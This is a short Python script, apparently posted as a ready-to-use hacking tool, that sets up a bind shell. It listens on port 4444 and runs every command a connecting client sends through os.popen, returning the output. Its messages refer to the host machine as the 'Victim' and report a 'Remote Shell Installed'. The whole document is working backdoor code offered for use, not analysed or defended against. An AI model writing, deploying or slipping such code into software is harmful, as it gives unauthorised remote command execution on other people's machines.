Python Bind Shell [ Stable And Fast ]

"""
 IndiD3M0n Shell V.05
 Written By : IndiD3M0n
 Email : kevinmetnik606@gmail.com
 [!] use netcat to connect ^.^
"""
import subprocess
import socket
import sys
import os
host = "127.0.0.1"; #! address to bind on.
port = int(4444);
while True:
    try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.bind((host,port));
        s.listen(4);
        while True:
            c,addr=s.accept();
            c.send("[*] Connected to Victim [ %s : %s ] Successfully\n"%(addr[0],port));
            c.send('[!] Remote Shell Installed Successfully.\n\n');
            for tym in range(0,50):
                data=c.recv(1024);
                for line in os.popen(data):
                    c.send(line);
    except KeyboardInterrupt:
        c.send("\n\t[ctrl+c] server forcely closed by Victim.\n");
        s.close();
        sys.exit(1);
    except socket.error:
        print "\n\t[error] Address { %s : %s } already in use."%(host,port);
        print "\t[error] just wait a bit until we correct it for you.";
        s.close();
        print "\n\ntrying again ....";